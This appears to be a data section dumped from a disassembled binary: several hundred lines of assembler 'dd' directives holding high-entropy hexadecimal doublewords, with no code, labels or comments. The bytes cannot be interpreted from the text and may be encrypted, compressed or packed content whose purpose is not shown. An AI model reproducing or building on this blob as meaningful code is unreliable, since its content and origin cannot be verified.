		dd 0B89AC96Ch, 8D12B85h, 591EFEEEh, 0AC07F013h,	2974EAh
		dd 196DCFE2h, 0AB40BD8Eh, 751682EFh, 0E2E01AB0h, 0BFE9185Eh
		dd 0BE689035h, 7DCC255Eh, 0C1A1406h, 0B0008812h, 434C195Dh
		dd 0E84FE94Bh, 15ACBD13h, 7773E404h, 5C8F804Dh,	2A98762Eh
		dd 0ABCDF350h, 68A6A182h, 312A25ADh, 31336A74h,	59CEE063h
		dd 0FAC68337h, 25740537h, 6FF6AC80h, 23472467h,	509207B2h
		dd 0D6F793A0h, 65941C04h, 0AD4ECB6h, 0E94533BBh, 5AAAA0CCh
		dd 56555913h, 2D49F300h, 0EC5D1E10h, 2B2962D1h,	0F709EEFEh
		dd 0DEF7C982h, 55927261h, 5664AB8Ch, 0DB89CEACh, 97DE98DDh
		dd 0E0E05AFBh, 69267606h, 0C11F1156h, 345E1405h, 85A50BFh
		dd 2F141C68h, 85B57314h, 0AF81513Fh, 29012B35h,	52A6DDF5h
		dd 8FF45AA9h, 2DA0ED88h, 25137070h, 0BBEC2A61h,	24128542h
		dd 3FD8E419h, 7B66D98Bh, 238827Dh, 0B75ADC5Bh, 12E8D458h
		dd 45C028E9h, 3D4679BEh, 941A21AAh, 99AF3EA5h, 8568DA2Ch
		dd 27A153DDh, 74EA8BD6h, 0AF404245h, 0D6F6B3B6h, 3E60BC0h
		dd 0B58B5066h, 2BAC3341h, 0B528E28h, 0A6B5AFB2h, 6A728B0Bh
		dd 2756D63Ch, 5095855Bh, 0B8AF52FAh, 71D027C0h,	0CEFE0096h
		dd 5301F680h, 0F8E4887Eh, 0B2E95B12h, 5AD42C0h,	69681E73h
		dd 7DB1C929h, 45FA30DFh, 5F47AA19h, 76A5B6E5h, 2BBB5184h
		dd 524B67E7h, 3125EE9Ch, 0E64CBCA8h, 58D3A84Ah,	7A40B59Dh
		dd 0D42FD9EEh, 5FE9757Bh, 1987D2BAh, 173B1ADCh,	0FA97A0EBh
		dd 8F01B95Dh, 0E62B37A5h, 260458AEh, 70AFC00Bh,	7A5C2F39h
		dd 0A226DD65h, 0E9003379h, 699A60Eh, 77F3F701h,	8DF01B46h
		dd 3BC49F9Bh, 24A2015Fh, 26F03E10h, 0D90007B3h,	0B5515B66h
		dd 0A820FC35h, 2B605B0h, 17E704Bh, 78F2DD8h, 476DAB80h
		dd 51095762h, 5E4AA168h, 8E26E25h, 4142362Ah, 0B3FA4FDh
		dd 37F2B2D7h, 0D9EC775Fh, 136B1C95h, 0E61639E9h, 0CE2D27F2h
		dd 0C1489FF7h, 0DC7F2947h, 58C1592Dh, 8C5E25h, 3E4C022h
		dd 0A35CB652h, 0AFDF29CCh, 1D45884Ah, 0E84F66FCh, 95B8B130h
		dd 5CED217Bh, 18C96DD2h, 0F2537984h, 86121269h,	8E05EA70h
		dd 31AC43EEh, 1360E76h,	0FA6B73C5h, 34081F08h, 0F314140Ch
		dd 0E84AD04Dh, 0F9F7B064h, 44D42D68h, 504A40CCh, 0C0FED524h
		dd 116EE930h, 5AD027C5h, 0EFC537EBh, 5081D70Ah,	0B9A15733h
		dd 0F9A5599h, 9CE1F523h, 31FD096Fh, 61446E9Ah, 0E851344Fh
		dd 635B0312h, 16D01FB4h, 0E312D166h, 0B9BD7FE9h, 0CE195804h
		dd 5AC4FB7Bh, 3CF78D88h, 4C2D55D1h, 0F239F0FAh,	8EEA9625h
		dd 0DD40AEA8h, 52C298FAh, 5C898E8Bh, 0C189DEF4h, 65945F78h
		dd 204F66B0h, 7E35E142h
		dd 2555FE75h, 0B44E2C8Bh, 6810784Bh, 0E4A8979Ah, 0D1F54Bh
		dd 672177D6h, 0E362C09Dh, 301E132Dh, 34F43105h,	0D93C6B8Dh
		dd 0BFC3C0A7h, 0AB8118Fh, 0CCC78102h, 80407F08h, 4A2B1ABAh
		dd 18099F7Bh, 6844E5Eh,	0C9FDF3E9h, 0B87DBE15h,	0B95DC892h
		dd 3520B441h, 0B2E74F66h, 0D5BB103Eh, 4A12B348h, 853EBD3Ah
		dd 0F4A2557Fh, 19659A5Ah, 430BD4E9h, 64F687D9h,	278CA048h
		dd 0D93CF71Fh, 0B9574E78h, 0CB5EE732h, 3F3459F5h, 0D3C90577h
		dd 0EE2D0520h, 5DE99745h, 842F68E8h, 77CDA540h,	0C2E51397h
		dd 5D1C4845h, 0C830EB89h, 0A4B88188h, 522F1A9Fh, 12809092h
		dd 30C962E9h, 3042DD15h, 68585B0Eh, 8D60D709h, 3BA6EA7h
		dd 49D9F752h, 6D0947E9h, 181E8168h, 0BE56C3h, 5802F73h
		dd 0E42BA52h, 87ADF44Fh, 0C072AACBh, 4B75E72h, 8DBC9C7Ch
		dd 18634A9Bh, 0D54F80D8h, 0D6F217F0h, 99502D0Eh, 3124D734h
		dd 0A926D88Ah, 0D41E44F2h, 5858E324h, 7E697EFEh, 467D8B8Fh
		dd 1E505B92h, 0E2DC52Ch, 4662FF20h, 580C80C6h, 950155E9h
		dd 0F28A34F1h, 0CF80A9F9h, 5EDB4477h, 5ADF7DF7h, 4C2C1D49h
		dd 0EE2576F1h, 4A299B0Bh, 8DFD448h, 5A1D317Ah, 0DE05693h
		dd 0E1EF2E80h, 0C5208F0Ch, 0F42FF6A4h, 0F72EF970h, 11118BFBh
		dd 1FF10C7Bh, 20FECA4Eh, 6BEB140h, 1D5F44DFh, 240C3846h
		dd 0C43BB60h, 0B0E4EEC0h, 9FF2738Ah, 8A62F151h,	4C2D0006h
		dd 0AB90513Ah, 5B88A934h, 89A75EBFh, 94750B07h,	0BF9AF8D8h
		dd 0ECA25294h, 0E14118Eh, 4D15C203h, 0CAF231AAh, 80715C2h
		dd 7629D9E9h, 0A2E014DDh, 26EBC58Ch, 30BC187Bh,	813AD301h
		dd 975B4403h, 0DB958C14h, 0E2E21D65h, 8D041C5Eh, 15913BD2h
		dd 0AD9608C2h, 0ED56ABC3h, 0A1067381h, 0AFD3EE04h, 348DE853h
		dd 5B712605h, 0C460291h, 7DE20E25h, 0CA06BC64h,	28A97AB6h
		dd 0FBB400EEh, 0D501F9BDh, 794E3FE9h, 9544DF9Dh, 0A9FD76AAh
		dd 0E63E917h, 90DDA84Bh, 9C1099C9h, 386B8CB9h, 939530D9h
		dd 9E5EA3Dh, 369D005Dh,	9805616Ch, 0D2AF2037h, 9CA85B4Bh
		dd 3B0590D6h, 0E65F103h, 0FC18D9B8h, 0B9FC20Ch,	21FF1A04h
		dd 69F6B709h, 50ECE543h, 80BD804Fh, 5912CF29h, 2346847h
		dd 0C76E4490h, 0F429497Fh, 0B00A2C2Ah, 0EBEF04EBh, 827E96DEh
		dd 0BA201199h, 25A82ECEh, 6BF0314Dh, 2737DAAh, 4138D94Bh
		dd 0A035DBE9h, 8D12F251h, 8AB87025h, 16375F7Eh,	7D39AE13h
		dd 0A96DC52Fh, 1FC28513h, 0ADF0C021h, 0F1CE856h, 3E7D67AFh
		dd 0AD84E885h, 0CAC88506h, 404DEDB4h, 0C3008075h, 0A8B25218h
		dd 2EC0EAD0h, 181E07E2h, 23CF57DBh, 174C61B0h, 629405C2h
		dd 0CAC240CEh, 0AD660389h, 0A950B0BAh, 5F7B5750h, 7934929Dh
		dd 855CA534h, 70A051C4h, 945F0910h, 5E7E595Ch, 0B4CE4501h
		dd 0E64089C8h, 25D2ACB9h, 3C0DDAB6h, 42B12A6Ah,	77BCBCDh
		dd 0F629C33Dh, 2BFBF7FEh, 355467CAh, 0A2E92751h, 8A77FCC2h
		dd 41E94272h, 96506A11h, 98D0295Ah, 4A5E0B28h, 7BF0552Ch
		dd 3ACD351Dh, 3BA2E283h, 90CEEDDh, 42752AB0h, 0AE3D5F00h
		dd 49B5E3D5h, 316E2CF7h, 3D0966CAh, 741510A5h, 26CBDC50h
		dd 87AE012h, 0C0002FBDh, 0C78003E7h, 0D506C1A0h, 0F25BF908h
		dd 0C9E28C63h, 0BC630340h, 3871BB80h, 0C1094642h, 0C58004EBh
		dd 0CC7C33F3h, 93ED90A1h, 47F25C6Dh, 0E0C7CB9Fh, 1CAE36C8h
		dd 9311F33Dh, 0A520277Bh, 609C5188h, 41FA0C36h,	80C468FDh
		dd 131273B3h, 162EB3EDh, 0FD89014Ch, 0BA12A322h, 0C780BD81h
		dd 30D55759h, 0A0BA26E0h, 0A03B48EBh, 167F4AB8h, 4296CD6h
		dd 48950C7h, 570091DFh,	63476ABFh, 0D2C53B4Bh, 263FF480h
		dd 0A11E5E05h, 78DECDF1h, 0CFF6B066h, 30882C7Ah, 220B389Bh
		dd 98744356h, 3807E602h, 234355B7h, 0DBC72004h,	80EF9579h
		dd 7D8714C6h, 4371D3FCh, 0BCEC08D7h, 0F0EF5100h, 5BDE3167h
		dd 397F64C1h, 7A250D17h, 0D2E80642h, 0DF5F51ECh, 12580124h
		dd 0F6E412Dh, 5CA29B6h,	0EB402D07h, 94BF1892h, 0EA3820E3h
		dd 0FC45C4Eh, 5FD3D21Eh, 0DEC4DC54h, 0D2A08696h, 0B2F31CB5h
		dd 0DFEA14ACh, 2B62510h, 2B7343BDh, 0AAA5423Ch,	58509E29h
		dd 2598BD01h, 0D195A698h, 330569B7h, 4E40A80Ah,	0E9F06BA8h
		dd 22CED31Dh, 0D064C442h, 29657E8h, 6AE368D9h, 804790FFh
		dd 0FD318072h, 0AA7E2595h, 9D59B6A0h, 58974146h, 5DE595FAh
		dd 0B9B4C937h, 4E83DBE0h, 2CEDF304h, 5A93B891h,	68092CABh
		dd 0E3444D2Ch, 4AE65266h, 835552FFh, 53FD929h, 0E2D225D1h
		dd 18825E06h, 389EA455h, 0BD331012h, 6F721D05h,	0EC8D04AEh
		dd 9B20B03h, 571B09A9h,	0E796DC16h, 5AC75425h, 605B04F7h
		dd 0B1FF17AEh, 0C5CA2ACAh, 0F65C0D61h, 2CA7C5E9h, 0DF680A68h
		dd 24BF6D05h, 0A3ADC540h, 4C71C2CFh, 0FB2082CBh, 295D5916h
		dd 23D307AFh, 8B5E2779h, 0E9C29E71h, 2F4776FAh,	28D9C09Bh
		dd 0EAB181B0h, 696E1676h, 8D419A35h, 0D03A972Dh, 13F9F543h
		dd 0C204D30h, 450664h, 2EE72D09h, 0E8014A0Dh, 694D5558h
		dd 4A3DD869h, 50E18028h, 5313D488h, 2FF5B54h, 33158497h
		dd 10F000FFh, 2D1FBD4Fh, 0D6E8EBE9h, 589D2DC5h,	5D5AC9ABh
		dd 0F90988EAh, 0AA05AC40h, 9FB86806h, 0FED9C729h, 81A46117h
		dd 3EED81C5h, 0CA2B73F5h, 0F1A04EAEh, 0E26559E9h, 0B30F5575h
		dd 0E634E46Ah, 27255809h, 0E408432h, 800F5684h,	0DC03A0EBh
		dd 90F30157h, 0C697803h, 0BEE97810h, 0B5C8B4Fh,	9A7278Ch
		dd 0C9F6DE54h, 0F8066CE8h, 0BC526082h, 1A6082FAh, 743D829Fh
		dd 771A9064h, 1C76662Dh, 52312DB9h, 9EDD2773h, 740957D1h
		dd 26F06603h, 27DA0FB2h, 0C972007Ah, 1BD26010h,	0F2FB9D06h
		dd 4A9F98BFh, 0AA7CE049h, 0A6C182D5h, 67A12F02h, 0C58DE22Eh
		dd 0A488AB0Fh, 80704071h, 659EB35h, 0E8566585h,	161D7549h
		dd 0E3C69DA9h, 1A2264A0h, 0F77A0601h, 6EE968DAh, 0A1EE372Eh
		dd 704D5F0Fh, 5312922Fh, 20AA4670h, 0DC1FE96Eh,	0EFF0E895h
		dd 0A3E7098Eh, 7A39C331h, 9853A1Fh, 979FA2A2h, 5C3983C9h
		dd 69F6354Eh, 0A822E984h, 0E0C00E10h, 3E86002h,	4304B2Ch
		dd 37E958C1h, 558AEC9h,	2AEEBEDCh, 0FBED326h, 29183C5Eh
		dd 8CA10D3h, 0CA0DB05Ah, 31C8869Dh, 8F6816ABh, 1093A622h
		dd 3113163Bh, 0D00409EAh, 3D72704h, 0C2CA8852h,	460DC53h
		dd 8166D6F6h, 0F951F4C2h, 0EC0C9EDDh, 591F7124h, 0AC09E312h
		dd 4CAACEC8h, 62009A50h, 6857C618h, 17262136h, 6D37D670h
		dd 75387722h, 0DDF937B2h, 7EE5A539h, 6855F09Ch,	852B9C2Eh
		dd 0A4657969h, 58F42585h, 971AE898h, 44212854h,	5A74099Bh
		dd 0F7A26A83h, 0C80AC373h, 8A65327h, 5E0A1809h,	830C9E56h
		dd 0FC5D2AB8h, 7BA0Eh, 551BBA5Bh, 56683E30h, 78B86253h
		dd 0C7170DF8h, 0ADB8585Fh, 0F99A1692h, 5BF848BEh, 25E9CAE4h
		dd 95DBCB29h, 850540A7h, 0BA0E40F8h, 7274A409h,	0EE20577Bh
		dd 0F78D11C2h, 0E7FAE9E2h, 7564EEB7h, 6EBB88D3h, 0DF7BC282h
		dd 0B5C91D96h, 0F99F2B23h, 0D19ECB32h, 100B2D91h, 4A4CD9BEh
		dd 6851589Ah, 0CE01FB0Bh, 64EC12Fh, 80DD56C8h, 800E1EB5h
		dd 7A28FEECh, 2627F4D8h, 0F35C4BFDh, 715A5625h,	0CD2D7AFDh
		dd 85E97703h, 38E1A553h, 8B5593E1h, 3D8076A0h, 88AEFBF6h
		dd 2740AD91h, 995C136Bh, 0E2682DBBh, 253BD8A9h,	8D7E3C81h
		dd 1C5108E6h, 4933A8BFh
		dd 35D4713h, 0B951CFD2h, 0A3400CD4h, 0FF2320ADh, 2077167Bh
		dd 50D2F757h, 0C0403798h, 5F97A228h, 80060646h,	0D3F629F3h
		dd 79E93A04h, 2C048DCAh, 0ACD4F6Eh, 7EA1C647h, 0D16F0B81h
		dd 6A71D1C2h, 1F14718Ch, 59373075h, 7C5A51AFh, 5A21A3F4h
		dd 20F0B53Fh, 5679FA21h, 71BD1D2Fh, 0B4743CD9h,	0DB53255Fh
		dd 0E17832h, 4E54A905h,	1C9C3BE5h, 31C1402Bh, 0D9D6F05Eh
		dd 7F8C818Bh, 777F6C2Ch, 123F2FF5h, 5A42B198h, 1912174h
		dd 0D613E962h, 122A266Dh, 0BFE7A0A7h, 4BB60C40h, 0B35BC584h
		dd 0A6F19352h, 4B968B6Fh, 7013F8A8h, 550D4BF7h,	0FDC6AB76h
		dd 8EE9073Ch, 1E29AB76h, 84210D3h, 0FDD52D7Dh, 0E5803BF1h
		dd 2AFB0F5Eh, 46DD5CF7h, 0E341AC06h, 4D000C25h,	5596C66Eh
		dd 73B95D5Ah, 789F2CC5h, 0A8F92509h, 0F6A0F167h, 9705479Fh
		dd 2FEBB4F2h, 32DC1E4h,	1DA623FEh, 16E5C829h, 0B4C10807h
		dd 97B05B13h, 0C3DA9F2Dh, 0CDB43FEBh, 7C2759E9h, 1BA745Bh
		dd 0FC508391h, 1B14702Ah, 0C1C7362Ch, 73F2E303h, 0CB9C13DCh
		dd 20030964h, 0F301D15Ch, 0EFB1AE66h, 80922B60h, 68125059h
		dd 64B3400Fh, 0E9850448h, 4368E15Eh, 0AEF49A4Bh, 0DFAB5D75h
		dd 6A680917h, 24ADD17Fh, 7D6D1BF4h, 952E3607h, 0D0F60AFDh
		dd 82B3451Ah, 0A106A662h, 2C80556Fh, 50B949D8h,	0A40CE7FCh
		dd 0C67AF23h, 0E04D051Fh, 0B2F8E97Eh, 44F20719h, 99B28D3Dh
		dd 0B636418h, 2A48090Bh, 0E9043879h, 0BCF8785Ah, 50680997h
		dd 77F618ABh, 12487327h, 0B9F2F072h, 5D14EB0Bh,	63A25748h
		dd 6CDECD20h, 289174CCh, 2D40C3Ch, 0BC08B2C7h, 2B5F290Ah
		dd 40A7D1F4h, 0C84543B8h, 0C2013412h, 5FB2CEECh, 3AD3AF91h
		dd 6B7D1891h, 3CBEB804h, 8630C1F7h, 647C102Dh, 8B00462h
		dd 1CBFD116h, 0AA8E93C6h, 0ED928637h, 0FA0B4BC4h, 7220D5CFh
		dd 38BE56D9h, 73CC5100h, 0D107C681h, 0C13BF92Bh, 6EC4E999h
		dd 43BE6E00h, 97688408h, 59CE5900h, 460DD973h, 95F45BE9h
		dd 247794D8h, 2D50E34h,	8040C330h, 5599140h, 0B2033500h
		dd 1A782D0Fh, 10114E93h, 0A37C07FBh, 539CD011h,	0E07A4E1Dh
		dd 0CAEA4B02h, 99E05C4Eh, 0FA919A14h, 7FDC78B7h, 888BB6F6h
		dd 8004B333h, 0C8BE35C5h, 0EB5B8164h, 3DAF4453h, 0FD8B7A02h
		dd 0B3AE3E50h, 0ADB03C13h, 0BAEF80F1h, 8288884Bh, 6F976082h
		dd 0A25FA6F5h, 64C724Ch, 21451DEAh, 4F6009CCh, 89F569BFh
		dd 40C78014h, 1AA7B0C3h, 6DB961E9h, 0A2C7A955h,	16A7B8Dh
		dd 2FBA5256h, 0ACF142E5h, 0E799412Ah, 2AE625B6h, 0B00396B0h
		dd 7A230063h, 9A2D6E92h, 751BBB70h, 0C804D0F7h,	25E18B0Dh
		dd 4B5C488Ch, 0BD31E906h, 74EEF27Dh, 0F6810C04h, 0F78E3732h
		dd 23E85E4Eh, 4A230F5Fh, 2EB91A76h, 2E1AA7C3h, 621CC8CAh
		dd 0F846DA6Bh, 15143DBEh, 0A1F22992h, 0E9D7D455h, 46E05C2Dh
		dd 82E32DC5h, 0BE806046h, 1817DBCh, 0C0ECC42Fh,	591829B5h
		dd 0E958BDB6h, 0E30D4AF9h, 0F6CE019Eh, 0B1B551DEh, 8722EEC1h
		dd 61804E12h, 38545090h, 0BD55A058h, 222D0264h,	45D5F752h
		dd 0CE7F2CC2h, 5F409789h, 0ADFCD298h, 6015E92Dh, 25685229h
		dd 15461FDh, 4EB2A160h,	0E9EA0A28h, 9680B89Bh, 0C40AD4CAh
		dd 80D5E0CCh, 1471C738h, 0FB95BF8h, 67FCB151h, 0E9E033F1h
		dd 0E4210457h, 0C82807EDh, 0F10EB353h, 0CC8694E3h, 8D9D4F6h
		dd 0E7296E28h, 0BDB12577h, 77057313h, 37216858h, 854449FEh
		dd 0D35414A9h, 48319556h, 3103CA8Ch, 0E1C292C3h, 860069C6h
		dd 3E4C0E5h, 0D6F58009h, 7A6B022Ch, 4C18D7AFh, 35266359h
		dd 5F599D12h, 0E94B8C3Eh, 3BC2EE34h, 2C3CBCB0h,	83DB7A25h
		dd 798B1B96h, 3AA8C9B3h, 0CC74001h, 2DF76198h, 4E2CE1C0h
		dd 556026BFh, 0DD281D80h, 9C42EDB1h, 3B5D2DC1h,	5D355229h
		dd 0E903903Fh, 0EFCAD3F1h, 89434FC1h, 0E642F9CDh, 87E2402Fh
		dd 520B5112h, 13BC594Eh, 0C164A24Ah, 0A802E955h, 33CEA76Ah
		dd 0F4EB28CBh, 698CDDFEh, 686C1214h, 169E51BCh,	0BD8C418Bh
		dd 89A55B56h, 680954AEh, 12031043h, 0A831DF0Fh,	0CFF61DA9h
		dd 0A033678Bh, 714A0559h, 1770A45h, 3E072DF8h, 6E3AD700h
		dd 7CB95173h, 78431905h, 0FB9455E9h, 682430BFh,	18BF1B61h
		dd 8280CDB0h, 90A870D6h, 0DB53FE05h, 941C5A29h,	502608C1h
		dd 0FC2498E9h, 1EB2F83h, 0E3D1EE02h, 9328C97Dh,	69E64461h
		dd 626E5EA2h, 7BDE64CFh, 370DD82Dh, 74191E79h, 0BFB90367h
		dd 5823DB36h, 0E7274E44h, 0BB896BF1h, 0F658EE89h, 0A89F4E86h
		dd 6AC3C608h, 97C50727h, 0B2143408h, 1CDA6C92h,	930EDB25h
		dd 0ADEB9BDCh, 0E937C8BBh, 80E75367h, 7006C7D6h, 3EF4EDBAh
		dd 323ABDCEh, 0D9CACE86h, 0E437C34Fh, 77EFBFD2h, 502FA3E6h
		dd 5EAEB13h, 9B566A44h,	0A771801Fh, 36585767h, 2D4C3B25h
		dd 1742700Eh, 0E00665ACh, 53515A5Ah, 4C013F97h,	60D0C856h
		dd 2F65F11h, 0B8207787h, 8D4262F7h, 20063C5Ch, 75BE047Ch
		dd 94139921h, 6FF701ABh, 6E56DF0Bh, 88443044h, 20BD2D0Dh
		dd 6802579Ah, 66813EE0h, 5CC8555Fh, 7C5BE9DFh, 7E2E8E4h
		dd 272F46D8h, 420463C1h, 0F0EAA831h, 0B482102Eh, 0C4072859h
		dd 1709F709h, 3E7F2FABh, 0C1014EC4h, 2B295DCBh,	0C10875A4h
		dd 58A1FC5Eh, 0BDC3D888h, 17933812h, 0A2EB8CE0h, 0A7E57108h
		dd 4527AB65h, 0E999A7C2h, 0A53BE388h, 25AAA454h, 68535180h
		dd 24EA76A7h, 9D825B69h, 0BF8BF9C3h, 0FEC189DDh, 5737F0C9h
		dd 0C45C2049h, 0AD0FCE01h, 4597BFC0h, 58B50541h, 0B00A92C2h
		dd 0AF2F37E2h, 0D4B9C26Fh, 810072FBh, 50647BEEh, 0B2F2B511h
		dd 16FD0882h, 0D9345E12h, 0C7DA6084h, 967CDFAAh, 23354D02h
		dd 0D1088151h, 277F586Eh, 0C94CEC3h, 752B6882h,	5A824ED9h
		dd 0E04B373Ah, 773F410Ch, 0E4690E8h, 5D304C8Bh,	8C80D7ABh
		dd 5AC14D9Bh, 2B610CC1h, 28BF7A4Eh, 7E8E2F1Eh, 2127C707h
		dd 3806192Eh, 0C7813A08h, 9FDBC0Eh, 0F04EB330h,	71C60934h
		dd 285F7F6Ch, 0A524085Fh, 5157EB01h, 0D14068FBh, 0ECFD20E8h
		dd 1CCB6829h, 0B2973F08h, 0EB543522h, 64B6D309h, 52510056h
		dd 0D2F6EDB2h, 18B5C268h, 977FE94Fh, 0B6C14968h, 46CB4016h
		dd 66F79071h, 1651BA00h, 61567624h, 95722E02h, 8E1766Dh
		dd 7C2D8D61h, 0E0FD9F78h, 339D0504h, 0D2FC41D3h, 0B45B0740h
		dd 5FF8C217h, 0C41416D7h, 665EECEh, 9C04DEF7h, 7B96BE47h
		dd 0B031FEEAh, 0E72E6EB8h, 82534A2Fh, 0C6CB9324h, 996542Eh
		dd 1C7FC74Eh, 0F1199750h, 976B61E9h, 8DF86428h,	88C0D43Ah
		dd 22A9014Eh, 32E922A2h, 9E902A21h, 0B10BC768h,	2A65A56Ah
		dd 0E9D5DC2Dh, 5F93B6EDh, 0AA6FEEC8h, 807DC598h, 0E4C0CFB4h
		dd 0C4078006h, 0E6885229h, 125AF123h, 0C418E9BDh, 522F81Bh
		dd 72321A1Ch, 0C9E41FBEh, 93E4C60Bh, 0DA1B3095h, 0CD33545Bh
		dd 586C403Eh, 12A5054Eh, 35D5D13Ah, 6A4CF949h, 702F984h
		dd 0D0F38958h, 72681731h, 0F134B86Fh, 9B3EC083h, 0C90B2A5Ch
		dd 542D4800h, 91F3546h,	0C1580AC5h, 0A403EDh, 218FCE06h
		dd 0E925EE89h, 0DDD8626Eh, 6805714Dh, 0CE687140h, 15F032E9h
		dd 7F41F81Fh, 9EB37A1Ch, 0CF191D5Ah, 30E95250h,	0E0DF2C62h
		dd 9FFE0147h, 0C6152553h, 0A602D2Ch, 9726DE86h,	0A04A7510h
		dd 7EBE5246h, 0B7B5062h, 18342CD8h, 96B82BBEh, 40637F84h
		dd 4C79DEF1h, 200CC16Ch
		dd 30CC71C1h, 23C3F2EFh, 0E2558CE3h, 0EB11C34Ch, 6FBDA466h
		dd 0D624FD04h, 8AC7AA17h, 7B9C03E7h, 7A739FE3h,	0F17B5BFh
		dd 62A26CB4h, 7E2DD5Fh,	602C1A7Fh, 0B9764417h, 0E259973Eh
		dd 59529734h, 0A79243ACh, 0A6E93FECh, 0D5970474h, 0B9A16813h
		dd 9006C820h, 17B907E7h, 7E4768F7h, 0A82EEE80h,	0A49031D0h
		dd 5D7AC1BFh, 8F70C3DDh, 1D3C25E9h, 8502C7Eh, 96FEFC58h
		dd 0A6BB07BCh, 0FAAD742Ch, 5205C301h, 2DD02613h, 0CE7307E1h
		dd 0CAC8010Eh, 0BD550A07h, 72291A12h, 222F285Ah, 542531AAh
		dd 54922D36h, 0D502D557h, 48674B1Dh, 3522805Fh,	0A03D4FF8h
		dd 0CF07E8D4h, 0CD620506h, 0A1FF0638h, 0DAB7E906h, 837D413Fh
		dd 2F6EF530h, 4947E8D8h, 0E82DFA8Ch, 0CC277FC4h, 42C279E3h
		dd 290396F2h, 7FDABAFBh, 4132BE68h, 0BA5C52E4h,	2C091D2Ch
		dd 5A60E5BEh, 58010FAEh, 0FA210F81h, 28A8215Fh,	0DE5E27FFh
		dd 13E19AE4h, 0EC392157h, 6E70222Ah, 980B9F78h,	0CB201D44h
		dd 0BD5AFED7h, 18693CD1h, 65EAEDh, 172B418h, 17CF68FAh
		dd 562FAB93h, 445CA89Eh, 0D45A741Bh, 0A04E11B2h, 89F8500Ah
		dd 80392A94h, 42C43E52h, 18A3F381h, 0C78FA62h, 3AFA5CF5h
		dd 981FCAC9h, 0B4BDFEh,	81494053h, 0EB1507E5h, 0E9334895h
		dd 4FAE4D56h, 308A0C93h, 0E24CD141h, 0E210252Ah, 0C4EB292Bh
		dd 5FA9FA68h, 96B45014h, 0F6FB2530h, 8C283E86h,	6402FD26h
		dd 0F763BD7Fh, 0F4B2C2D6h, 1A2C41B4h, 0E77D643Dh, 0BFEFE82h
		dd 24B0112Dh, 7B959871h, 0FA6D09A3h, 0B6C4ACC4h, 23D59E82h
		dd 206B41AFh, 603BE242h, 0DD41C25h, 5B0102D1h, 0FF296007h
		dd 3D08BF08h, 0AAD412DFh, 882BD229h, 899767A7h,	7177FEE3h
		dd 245B71E9h, 0FE3ADDAAh, 80D507CDh, 0A4E4EFC5h, 0BF7694h
		dd 90432D19h, 12EE17Ah,	1BE28BC5h, 0A573F30Eh, 4E53EAF6h
		dd 0ACD0FCE8h, 0C3A25E9h, 6C62AA54h, 138F6C14h,	0F7448768h
		dd 0E955D876h, 0B4C94A69h, 6FB26DBEh, 0A27BCE97h, 6A1E8286h
		dd 0EDB403B6h, 6A0902B9h, 5AFA6A8Ch, 2E31F3D0h,	56AFB203h
		dd 57F95BE3h, 0FCF33F15h, 0D55C89h, 0ADC280C9h,	68842FE9h
		dd 0C55DF392h, 82DA974Ah, 9BE25F2Dh, 95959DCh, 97C6DDF6h
		dd 7719582Ch, 0B600842h, 851C9657h, 76BE87D4h, 2175005Bh
		dd 0F7265EF2h, 0DA000FD2h, 68FEFFAFh, 0B3104E39h, 0E81B1166h
		dd 0C42CC005h, 12A68044h, 33B0C77Dh, 1665E105h,	9A857B45h
		dd 0E25B76A9h, 0FE387E1Eh, 0CE4CF9D1h, 57F9B5ECh, 0B65BF959h
		dd 0B70FC2DCh, 38D35BC8h, 5448A6A0h, 95F81378h,	0BC5C36BAh
		dd 41240AB5h, 55F9F6C2h, 68A0046Bh, 67954A57h, 5F5A8B37h
		dd 3197D2D3h, 40C65D88h, 2A4AB1CAh, 0EA28E020h,	0FA300159h
		dd 5AD3885Bh, 6C16CFF6h, 4188236Ah, 46548AB9h, 0B64C242h
		dd 0C1A42F07h, 30BB52C5h, 0C85A962Fh, 7E96B02h,	793866E7h
		dd 0C9432055h, 0FB6C2932h, 81814851h, 3B6F05EDh, 0A45B30B5h
		dd 0A7629676h, 7520F5D9h, 0EA892640h, 174F26FAh, 2568C6C8h
		dd 3EF11FB9h, 0A366198Fh, 31AB83Fh, 2F0A050Bh, 90A855A4h
		dd 544B3C34h, 83BFF4C1h, 0FCD65F38h, 84679D4Fh,	72A259B5h
		dd 3B818499h, 0C1BADD94h, 0CCD6F3F4h, 2828BEC3h, 0C78AB5D8h
		dd 7E9E98C0h, 8F22AE2Eh, 6B741C31h, 0D136723Fh,	0F70F91F7h
		dd 6D1376DEh, 9E38FC0Dh, 207B4C97h, 5B50F452h, 4B28BEA3h
		dd 9480B21Ah, 0A39673C6h, 96EA6172h, 49CF8700h,	0D1AFE9B5h
		dd 0B6659B43h, 0A281330h, 30B78768h, 0F254CF4Ah, 0CCB2CDBAh
		dd 93C6609Dh, 60E12D6Eh, 25264C45h, 981D3200h, 92BAE964h
		dd 0C9810245h, 296702A8h, 11F1BF40h, 0CD1580B7h, 99EF8959h
		dd 0CA826C30h, 754F3305h, 0F5D414E9h, 34178F5Eh, 6EB939C0h
		dd 75B32672h, 0E55E08B6h, 6796A27h, 1F83CBB0h, 5E2091F3h
		dd 0D199CBA5h, 0BBE29729h, 68BC1877h, 868995B0h, 5572E4FEh
		dd 9981E794h, 5B607F7Fh, 0D2A437E9h, 0FFC053B3h, 5D793531h
		dd 48E1C110h, 0C81AC32Ch, 263B6000h, 548EE9DFh,	95B82914h
		dd 91828F79h, 0D7728463h, 9086528h, 3DA1D8E9h, 66C32159h
		dd 0DB0B0199h, 9855850Fh, 13F5F32Ah, 7EEC9A70h,	0F220BFD3h
		dd 96F18809h, 82DDC9A2h, 163FBC5h, 40D6015Ah, 811134F9h
		dd 28FC155Ah, 8887B37Ch, 0C007786Dh, 0FC8205E8h, 0D1C4D7AAh
		dd 5350099Ch, 80FB24B7h, 0F9880B0Bh, 0ABE79204h, 0EA90138Dh
		dd 7FA84F5Ch, 0AA565F84h, 162DF739h, 0FBD55F85h, 1010F072h
		dd 8CB15CACh, 81304261h, 0C3A006ADh, 0C39D615Dh, 3393E935h
		dd 247B06A3h, 845062A0h, 0B0FA6321h, 7A1612F6h,	500064E7h
		dd 79114A02h, 0D250B749h, 0C9EC63FFh, 0D3BC8750h, 88C490C4h
		dd 7790C11Eh, 5BFFAD4Eh, 0F7D682F2h, 0C3E9C493h, 9776C5B8h
		dd 0DC5E2E10h, 78CE6BFh, 16EB6202h, 149E01BFh, 83846FE9h
		dd 32099DBEh, 23E9C5F4h, 163B5EF1h, 0BDDA9015h,	0B72D2BF2h
		dd 8F413h, 41F93880h, 99611AE9h, 2886424h, 0B15BE6E0h
		dd 970AC29h, 3D219C04h,	0C20A68FDh, 4298D2E6h, 0A983097Bh
